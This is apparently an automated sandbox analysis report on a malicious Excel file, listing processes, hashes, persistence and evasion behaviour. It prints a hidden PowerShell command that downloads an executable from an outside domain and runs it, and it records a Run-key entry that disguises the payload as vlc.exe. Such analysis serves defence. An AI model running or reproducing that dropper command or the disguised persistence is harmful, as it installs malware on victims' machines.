Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ' & { iwr http://sparepartiran.com/js/2Q/Jqeofcirr6.exe -OutFile C:\Users\Public\raqfxwuo.exe}; & {Start-Process -FilePath 'C:\Users\Public\raqfxwuo.exe'}'
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ' & { iwr http://sparepartiran.com/js/2Q/Jqeofcirr6.exe -OutFile C:\Users\Public\raqfxwuo.exe}; & {Start-Process -FilePath 'C:\Users\Public\raqfxwuo.exe'}'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\Public\raqfxwuo.exe 'C:\Users\Public\raqfxwuo.exe'
Source: unknown	Process created: C:\Users\Public\raqfxwuo.exe 'C:\Users\Public\raqfxwuo.exe'
Source: unknown	Process created: C:\Users\Public\raqfxwuo.exe C:\Users\Public\raqfxwuo.exe
Source: unknown	Process created: C:\Users\Public\raqfxwuo.exe C:\Users\Public\raqfxwuo.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe'
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe'
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\raqfxwuo.exe 'C:\Users\Public\raqfxwuo.exe'	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\raqfxwuo.exe 'C:\Users\Public\raqfxwuo.exe'	Jump to behavior
Source: C:\Users\Public\raqfxwuo.exe	Process created: C:\Users\Public\raqfxwuo.exe C:\Users\Public\raqfxwuo.exe	Jump to behavior
Source: C:\Users\Public\raqfxwuo.exe	Process created: C:\Users\Public\raqfxwuo.exe C:\Users\Public\raqfxwuo.exe

Source: C:\Users\Public\raqfxwuo.exe	Code function: 18_2_07CCEBE8 push esp; retf	18_2_07CCEBE9
Source: C:\Users\Public\raqfxwuo.exe	Code function: 18_2_08692900 push 8BFFFFD7h; retf	18_2_08692907
Source: C:\Users\Public\raqfxwuo.exe	Code function: 18_2_0869247D push B80000A2h; iretd	18_2_08692482
Source: C:\Users\Public\raqfxwuo.exe	Code function: 18_2_086934BF pushfd ; retf	18_2_086934CD
Source: C:\Users\Public\raqfxwuo.exe	Code function: 19_2_00423C0B push ss; ret	19_2_00423C0C
Source: C:\Users\Public\raqfxwuo.exe	Code function: 19_2_00C1B490 pushfd ; mov dword ptr [esp], D804C79Ch	19_2_00C1B492
Source: C:\Users\Public\raqfxwuo.exe	Code function: 19_2_06FD2A33 push es; retf	19_2_06FD2ADC
Source: C:\Users\Public\raqfxwuo.exe	Code function: 19_2_06FD29DD push es; retf	19_2_06FD2ADC
Source: C:\Users\Public\raqfxwuo.exe	Code function: 19_2_06FD299B push es; iretd	19_2_06FD299C
Source: C:\Users\Public\raqfxwuo.exe	Code function: 19_2_073AEBE8 push esp; retf	19_2_073AEBE9
Source: C:\Users\Public\raqfxwuo.exe	Code function: 19_2_07C72900 push 8BFFFFD7h; retf	19_2_07C72907
Source: C:\Users\Public\raqfxwuo.exe	Code function: 19_2_07C734BF pushfd ; retf	19_2_07C734CD
Source: C:\Users\Public\raqfxwuo.exe	Code function: 19_2_07C7247D push B80000A2h; iretd	19_2_07C72482
Source: C:\Users\Public\raqfxwuo.exe	Code function: 20_2_0114457C push ss; retf	20_2_01144586
Source: C:\Users\Public\raqfxwuo.exe	Code function: 20_2_0114AC77 pushfd ; retf	20_2_0114AD2E
Source: C:\Users\Public\raqfxwuo.exe	Code function: 20_2_0114CFD1 push esp; iretd	20_2_0114CFDD
Source: C:\Users\Public\raqfxwuo.exe	Code function: 20_2_01145F28 push ds; retf	20_2_01145F36

Source: initial sample	Static PE information: section name: .text entropy: 7.96249614821
Source: initial sample	Static PE information: section name: .text entropy: 7.96249614821

Source: raqfxwuo.exe.14.dr, c2Fo1FUEUu0RWAsNqc/iCBtguA2vUiZwpErbx.cs	High entropy of concatenated method names: '.ctor', 'iCBAtgu2v', 'biZUwpErb', 'zU2qFo1FE', 'Dispose', 'bu0cRWAsN', 'blGCQ2p59jBKi6Eh09', 'RpJlS91oerHo5WgUoj', 'TIaY7n381CVUDcgeVK', 'sGHUJcud3rxknBYegI'
Source: raqfxwuo.exe.14.dr, fq3MQHL5s4kEV6MXwJ/wguCTMihOcuL6dhVxS.cs	High entropy of concatenated method names: 'phVuxSLq3', 'JQHa5s4kE', 'u6MeXwJd3', 'bV72wWdrn', 'XqVjTEeoe', 'aRvfP3EdK', '.ctor', '.cctor', 'LaN6iW2wc6kNZSQa9K', 'Tslsx4RPCSl2jSVmPP'
Source: vlc.exe.18.dr, c2Fo1FUEUu0RWAsNqc/iCBtguA2vUiZwpErbx.cs	High entropy of concatenated method names: '.ctor', 'iCBAtgu2v', 'biZUwpErb', 'zU2qFo1FE', 'Dispose', 'bu0cRWAsN', 'blGCQ2p59jBKi6Eh09', 'RpJlS91oerHo5WgUoj', 'TIaY7n381CVUDcgeVK', 'sGHUJcud3rxknBYegI'
Source: vlc.exe.18.dr, fq3MQHL5s4kEV6MXwJ/wguCTMihOcuL6dhVxS.cs	High entropy of concatenated method names: 'phVuxSLq3', 'JQHa5s4kE', 'u6MeXwJd3', 'bV72wWdrn', 'XqVjTEeoe', 'aRvfP3EdK', '.ctor', '.cctor', 'LaN6iW2wc6kNZSQa9K', 'Tslsx4RPCSl2jSVmPP'
Source: 18.2.raqfxwuo.exe.e40000.0.unpack, c2Fo1FUEUu0RWAsNqc/iCBtguA2vUiZwpErbx.cs	High entropy of concatenated method names: '.ctor', 'iCBAtgu2v', 'biZUwpErb', 'zU2qFo1FE', 'Dispose', 'bu0cRWAsN', 'blGCQ2p59jBKi6Eh09', 'RpJlS91oerHo5WgUoj', 'TIaY7n381CVUDcgeVK', 'sGHUJcud3rxknBYegI'
Source: 18.2.raqfxwuo.exe.e40000.0.unpack, fq3MQHL5s4kEV6MXwJ/wguCTMihOcuL6dhVxS.cs	High entropy of concatenated method names: 'phVuxSLq3', 'JQHa5s4kE', 'u6MeXwJd3', 'bV72wWdrn', 'XqVjTEeoe', 'aRvfP3EdK', '.ctor', '.cctor', 'LaN6iW2wc6kNZSQa9K', 'Tslsx4RPCSl2jSVmPP'
Source: 18.0.raqfxwuo.exe.e40000.0.unpack, c2Fo1FUEUu0RWAsNqc/iCBtguA2vUiZwpErbx.cs	High entropy of concatenated method names: '.ctor', 'iCBAtgu2v', 'biZUwpErb', 'zU2qFo1FE', 'Dispose', 'bu0cRWAsN', 'blGCQ2p59jBKi6Eh09', 'RpJlS91oerHo5WgUoj', 'TIaY7n381CVUDcgeVK', 'sGHUJcud3rxknBYegI'
Source: 18.0.raqfxwuo.exe.e40000.0.unpack, fq3MQHL5s4kEV6MXwJ/wguCTMihOcuL6dhVxS.cs	High entropy of concatenated method names: 'phVuxSLq3', 'JQHa5s4kE', 'u6MeXwJd3', 'bV72wWdrn', 'XqVjTEeoe', 'aRvfP3EdK', '.ctor', '.cctor', 'LaN6iW2wc6kNZSQa9K', 'Tslsx4RPCSl2jSVmPP'
Source: 19.0.raqfxwuo.exe.420000.0.unpack, c2Fo1FUEUu0RWAsNqc/iCBtguA2vUiZwpErbx.cs	High entropy of concatenated method names: '.ctor', 'iCBAtgu2v', 'biZUwpErb', 'zU2qFo1FE', 'Dispose', 'bu0cRWAsN', 'blGCQ2p59jBKi6Eh09', 'RpJlS91oerHo5WgUoj', 'TIaY7n381CVUDcgeVK', 'sGHUJcud3rxknBYegI'
Source: 19.0.raqfxwuo.exe.420000.0.unpack, fq3MQHL5s4kEV6MXwJ/wguCTMihOcuL6dhVxS.cs	High entropy of concatenated method names: 'phVuxSLq3', 'JQHa5s4kE', 'u6MeXwJd3', 'bV72wWdrn', 'XqVjTEeoe', 'aRvfP3EdK', '.ctor', '.cctor', 'LaN6iW2wc6kNZSQa9K', 'Tslsx4RPCSl2jSVmPP'
Source: 19.2.raqfxwuo.exe.420000.0.unpack, c2Fo1FUEUu0RWAsNqc/iCBtguA2vUiZwpErbx.cs	High entropy of concatenated method names: '.ctor', 'iCBAtgu2v', 'biZUwpErb', 'zU2qFo1FE', 'Dispose', 'bu0cRWAsN', 'blGCQ2p59jBKi6Eh09', 'RpJlS91oerHo5WgUoj', 'TIaY7n381CVUDcgeVK', 'sGHUJcud3rxknBYegI'
Source: 19.2.raqfxwuo.exe.420000.0.unpack, fq3MQHL5s4kEV6MXwJ/wguCTMihOcuL6dhVxS.cs	High entropy of concatenated method names: 'phVuxSLq3', 'JQHa5s4kE', 'u6MeXwJd3', 'bV72wWdrn', 'XqVjTEeoe', 'aRvfP3EdK', '.ctor', '.cctor', 'LaN6iW2wc6kNZSQa9K', 'Tslsx4RPCSl2jSVmPP'
Source: 20.2.raqfxwuo.exe.8a0000.1.unpack, c2Fo1FUEUu0RWAsNqc/iCBtguA2vUiZwpErbx.cs	High entropy of concatenated method names: '.ctor', 'iCBAtgu2v', 'biZUwpErb', 'zU2qFo1FE', 'Dispose', 'bu0cRWAsN', 'blGCQ2p59jBKi6Eh09', 'RpJlS91oerHo5WgUoj', 'TIaY7n381CVUDcgeVK', 'sGHUJcud3rxknBYegI'
Source: 20.2.raqfxwuo.exe.8a0000.1.unpack, fq3MQHL5s4kEV6MXwJ/wguCTMihOcuL6dhVxS.cs	High entropy of concatenated method names: 'phVuxSLq3', 'JQHa5s4kE', 'u6MeXwJd3', 'bV72wWdrn', 'XqVjTEeoe', 'aRvfP3EdK', '.ctor', '.cctor', 'LaN6iW2wc6kNZSQa9K', 'Tslsx4RPCSl2jSVmPP'
Source: 20.0.raqfxwuo.exe.8a0000.0.unpack, c2Fo1FUEUu0RWAsNqc/iCBtguA2vUiZwpErbx.cs	High entropy of concatenated method names: '.ctor', 'iCBAtgu2v', 'biZUwpErb', 'zU2qFo1FE', 'Dispose', 'bu0cRWAsN', 'blGCQ2p59jBKi6Eh09', 'RpJlS91oerHo5WgUoj', 'TIaY7n381CVUDcgeVK', 'sGHUJcud3rxknBYegI'
Source: 20.0.raqfxwuo.exe.8a0000.0.unpack, fq3MQHL5s4kEV6MXwJ/wguCTMihOcuL6dhVxS.cs	High entropy of concatenated method names: 'phVuxSLq3', 'JQHa5s4kE', 'u6MeXwJd3', 'bV72wWdrn', 'XqVjTEeoe', 'aRvfP3EdK', '.ctor', '.cctor', 'LaN6iW2wc6kNZSQa9K', 'Tslsx4RPCSl2jSVmPP'
Source: 21.2.raqfxwuo.exe.a90000.1.unpack, c2Fo1FUEUu0RWAsNqc/iCBtguA2vUiZwpErbx.cs	High entropy of concatenated method names: '.ctor', 'iCBAtgu2v', 'biZUwpErb', 'zU2qFo1FE', 'Dispose', 'bu0cRWAsN', 'blGCQ2p59jBKi6Eh09', 'RpJlS91oerHo5WgUoj', 'TIaY7n381CVUDcgeVK', 'sGHUJcud3rxknBYegI'
Source: 21.2.raqfxwuo.exe.a90000.1.unpack, fq3MQHL5s4kEV6MXwJ/wguCTMihOcuL6dhVxS.cs	High entropy of concatenated method names: 'phVuxSLq3', 'JQHa5s4kE', 'u6MeXwJd3', 'bV72wWdrn', 'XqVjTEeoe', 'aRvfP3EdK', '.ctor', '.cctor', 'LaN6iW2wc6kNZSQa9K', 'Tslsx4RPCSl2jSVmPP'
Source: 21.0.raqfxwuo.exe.a90000.0.unpack, c2Fo1FUEUu0RWAsNqc/iCBtguA2vUiZwpErbx.cs	High entropy of concatenated method names: '.ctor', 'iCBAtgu2v', 'biZUwpErb', 'zU2qFo1FE', 'Dispose', 'bu0cRWAsN', 'blGCQ2p59jBKi6Eh09', 'RpJlS91oerHo5WgUoj', 'TIaY7n381CVUDcgeVK', 'sGHUJcud3rxknBYegI'
Source: 21.0.raqfxwuo.exe.a90000.0.unpack, fq3MQHL5s4kEV6MXwJ/wguCTMihOcuL6dhVxS.cs	High entropy of concatenated method names: 'phVuxSLq3', 'JQHa5s4kE', 'u6MeXwJd3', 'bV72wWdrn', 'XqVjTEeoe', 'aRvfP3EdK', '.ctor', '.cctor', 'LaN6iW2wc6kNZSQa9K', 'Tslsx4RPCSl2jSVmPP'
Source: 23.0.vlc.exe.b80000.0.unpack, c2Fo1FUEUu0RWAsNqc/iCBtguA2vUiZwpErbx.cs	High entropy of concatenated method names: '.ctor', 'iCBAtgu2v', 'biZUwpErb', 'zU2qFo1FE', 'Dispose', 'bu0cRWAsN', 'blGCQ2p59jBKi6Eh09', 'RpJlS91oerHo5WgUoj', 'TIaY7n381CVUDcgeVK', 'sGHUJcud3rxknBYegI'
Source: 23.0.vlc.exe.b80000.0.unpack, fq3MQHL5s4kEV6MXwJ/wguCTMihOcuL6dhVxS.cs	High entropy of concatenated method names: 'phVuxSLq3', 'JQHa5s4kE', 'u6MeXwJd3', 'bV72wWdrn', 'XqVjTEeoe', 'aRvfP3EdK', '.ctor', '.cctor', 'LaN6iW2wc6kNZSQa9K', 'Tslsx4RPCSl2jSVmPP'
Source: 25.2.vlc.exe.390000.0.unpack, c2Fo1FUEUu0RWAsNqc/iCBtguA2vUiZwpErbx.cs	High entropy of concatenated method names: '.ctor', 'iCBAtgu2v', 'biZUwpErb', 'zU2qFo1FE', 'Dispose', 'bu0cRWAsN', 'blGCQ2p59jBKi6Eh09', 'RpJlS91oerHo5WgUoj', 'TIaY7n381CVUDcgeVK', 'sGHUJcud3rxknBYegI'
Source: 25.2.vlc.exe.390000.0.unpack, fq3MQHL5s4kEV6MXwJ/wguCTMihOcuL6dhVxS.cs	High entropy of concatenated method names: 'phVuxSLq3', 'JQHa5s4kE', 'u6MeXwJd3', 'bV72wWdrn', 'XqVjTEeoe', 'aRvfP3EdK', '.ctor', '.cctor', 'LaN6iW2wc6kNZSQa9K', 'Tslsx4RPCSl2jSVmPP'
Source: 25.0.vlc.exe.390000.0.unpack, c2Fo1FUEUu0RWAsNqc/iCBtguA2vUiZwpErbx.cs	High entropy of concatenated method names: '.ctor', 'iCBAtgu2v', 'biZUwpErb', 'zU2qFo1FE', 'Dispose', 'bu0cRWAsN', 'blGCQ2p59jBKi6Eh09', 'RpJlS91oerHo5WgUoj', 'TIaY7n381CVUDcgeVK', 'sGHUJcud3rxknBYegI'
Source: 25.0.vlc.exe.390000.0.unpack, fq3MQHL5s4kEV6MXwJ/wguCTMihOcuL6dhVxS.cs	High entropy of concatenated method names: 'phVuxSLq3', 'JQHa5s4kE', 'u6MeXwJd3', 'bV72wWdrn', 'XqVjTEeoe', 'aRvfP3EdK', '.ctor', '.cctor', 'LaN6iW2wc6kNZSQa9K', 'Tslsx4RPCSl2jSVmPP'

Source: C:\Users\Public\raqfxwuo.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN			Jump to behavior
Source: C:\Users\Public\raqfxwuo.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe			Jump to behavior

Source: C:\Users\Public\raqfxwuo.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run vlc			Jump to behavior
Source: C:\Users\Public\raqfxwuo.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run vlc			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\raqfxwuo.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\raqfxwuo.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3327	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3804	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4394	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4360	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 240	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6352	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6448	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6440	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4620	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7000	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\conhost.exe TID: 5764	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Users\Public\raqfxwuo.exe TID: 6160	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\Public\raqfxwuo.exe TID: 6180	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\Public\raqfxwuo.exe TID: 6556	Thread sleep count: 43 > 30
Source: C:\Users\Public\raqfxwuo.exe TID: 6164	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe TID: 6612	Thread sleep count: 64 > 30

Source: C:\Users\Public\raqfxwuo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Users\Public\raqfxwuo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\splwow64.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: powershell.exe, 0000000E.00000003.850698352.000001FCD6906000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll;
Source: powershell.exe, 0000000E.00000002.874605943.000001FCD6D20000.00000002.00000001.sdmp, powershell.exe, 0000000F.00000002.878640218.000001DF98CB0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: raqfxwuo.exe, 00000013.00000002.899812607.000000000289F000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: powershell.exe, 0000000F.00000003.852668699.000001DF986A3000.00000004.00000001.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\le
Source: powershell.exe, 0000000F.00000003.852668699.000001DF986A3000.00000004.00000001.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b8b}
Source: powershell.exe, 0000000E.00000002.874605943.000001FCD6D20000.00000002.00000001.sdmp, powershell.exe, 0000000F.00000002.878640218.000001DF98CB0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: powershell.exe, 0000000E.00000002.874605943.000001FCD6D20000.00000002.00000001.sdmp, powershell.exe, 0000000F.00000002.878640218.000001DF98CB0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: powershell.exe, 0000000F.00000003.852668699.000001DF986A3000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll]
Source: powershell.exe, 0000000E.00000002.874605943.000001FCD6D20000.00000002.00000001.sdmp, powershell.exe, 0000000F.00000002.878640218.000001DF98CB0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\Public\raqfxwuo.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\Public\raqfxwuo.exe	Process token adjusted: Debug
Source: C:\Users\Public\raqfxwuo.exe	Process token adjusted: Debug
Source: C:\Users\Public\raqfxwuo.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe	Process token adjusted: Debug

Source: C:\Users\Public\raqfxwuo.exe	Memory written: C:\Users\Public\raqfxwuo.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\Public\raqfxwuo.exe	Memory written: C:\Users\Public\raqfxwuo.exe base: 400000 value starts with: 4D5A

Source: raqfxwuo.exe, 00000014.00000002.926451245.0000000001770000.00000002.00000001.sdmp, raqfxwuo.exe, 00000015.00000002.926400314.0000000001970000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: raqfxwuo.exe, 00000014.00000002.926451245.0000000001770000.00000002.00000001.sdmp, raqfxwuo.exe, 00000015.00000002.926400314.0000000001970000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: raqfxwuo.exe, 00000014.00000002.926451245.0000000001770000.00000002.00000001.sdmp, raqfxwuo.exe, 00000015.00000002.926400314.0000000001970000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: raqfxwuo.exe, 00000014.00000002.926451245.0000000001770000.00000002.00000001.sdmp, raqfxwuo.exe, 00000015.00000002.926400314.0000000001970000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: Yara match	File source: 00000015.00000002.924149098.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.926985798.0000000002D71000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.926541973.0000000002EB1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.899909340.0000000004351000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.899832989.00000000028A8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.899751986.0000000003478000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.900029197.0000000003781000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.924181667.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: raqfxwuo.exe PID: 6512, type: MEMORY
Source: Yara match	File source: Process Memory Space: raqfxwuo.exe PID: 6168, type: MEMORY
Source: Yara match	File source: Process Memory Space: raqfxwuo.exe PID: 6484, type: MEMORY
Source: Yara match	File source: Process Memory Space: raqfxwuo.exe PID: 1692, type: MEMORY
Source: Yara match	File source: 21.2.raqfxwuo.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.raqfxwuo.exe.400000.0.unpack, type: UNPACKEDPE

Analysis Report TcLt4.xls

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection:

Spreading:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Private

Contacted Domains

ID:	324135
Product:	CloudBasic
Start time:	12:16:40
Start date:	28.11.2020
Sample:	TcLt4.xls
Cookbook:	defaultwindowsofficecookbook.jbs
System description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Architecture:	WINDOWS
MD5:	4bb3584cc8f750ab27bf51e2d154496b
SHA1:	bda4832689dc06c315a3b7a810814527a74915d9
SHA256:	8a0de87ccaf8efb28f84081e3b589d4bd60c2da182a970838bc1e2fed0037e3e
Filetype:	Microsoft Excel sheet (30009/1) 47.99%

Name	Type	MD5	SHA1	SHA256
C:\Users\Public\raqfxwuo.exe	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows	0998148D355B1E7BAD7B44558AA4C125	5D062CB98564C1F2BC821C0A3E81B228780F77F7	8EF317F2278FBE6A533E8F78B932698E986280D2F4A6716AAAAA4DC5692222A8
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\raqfxwuo.exe.log	ASCII text, with CRLF line terminators	E87C60A24438CC611338EA5ACB433A0A	E0C6A7D5CFE32BB2178E71DEE79971A51697B7DD	80DAB47D7A9E233A692D10ACAF5793E34911836D36DB2E11BB7C5D42DE39782A
C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\7693F8CE-927A-4BC0-84CE-1390C3757E21	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators	DBBB5D4435B55364F3861E47130CA61D	3F770864852721DF691A79A336E5C75DA2426B9C	E5032D7CDA400ED9E7328DE908199981C59F5CA4CE19F9F0CD0A3CFF0BFA0B11
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	data	7163813E4083D57DC319083F517EC1C6	24802FC1847B4DC7D05C223FA488DEBFB77EF4FE	31B3F6D676C369F9698295B6330327D803A42212B2D238C18375AA40561FEC30
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2wcxoixg.csm.ps1	very short file (no magic)	C4CA4238A0B923820DCC509A6F75849B	356A192B7913B04C54574D18C28D46E6395428AB	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fqmtbajf.dna.psm1	very short file (no magic)	C4CA4238A0B923820DCC509A6F75849B	356A192B7913B04C54574D18C28D46E6395428AB	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ujnjzpbo.1nn.psm1	very short file (no magic)	C4CA4238A0B923820DCC509A6F75849B	356A192B7913B04C54574D18C28D46E6395428AB	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yuno0mok.5qf.ps1	very short file (no magic)	C4CA4238A0B923820DCC509A6F75849B	356A192B7913B04C54574D18C28D46E6395428AB	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC	Little-endian UTF-16 Unicode text, with CR line terminators	7962B839183642D3CDC2F9CEBDBF85CE	2BE8F6F309962ED367866F6E70668508BC814C2D	5EB8655BA3D3E7252CA81C2B9076A791CD912872D9F0447F23F4C4AC4A6514F6
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows	0998148D355B1E7BAD7B44558AA4C125	5D062CB98564C1F2BC821C0A3E81B228780F77F7	8EF317F2278FBE6A533E8F78B932698E986280D2F4A6716AAAAA4DC5692222A8
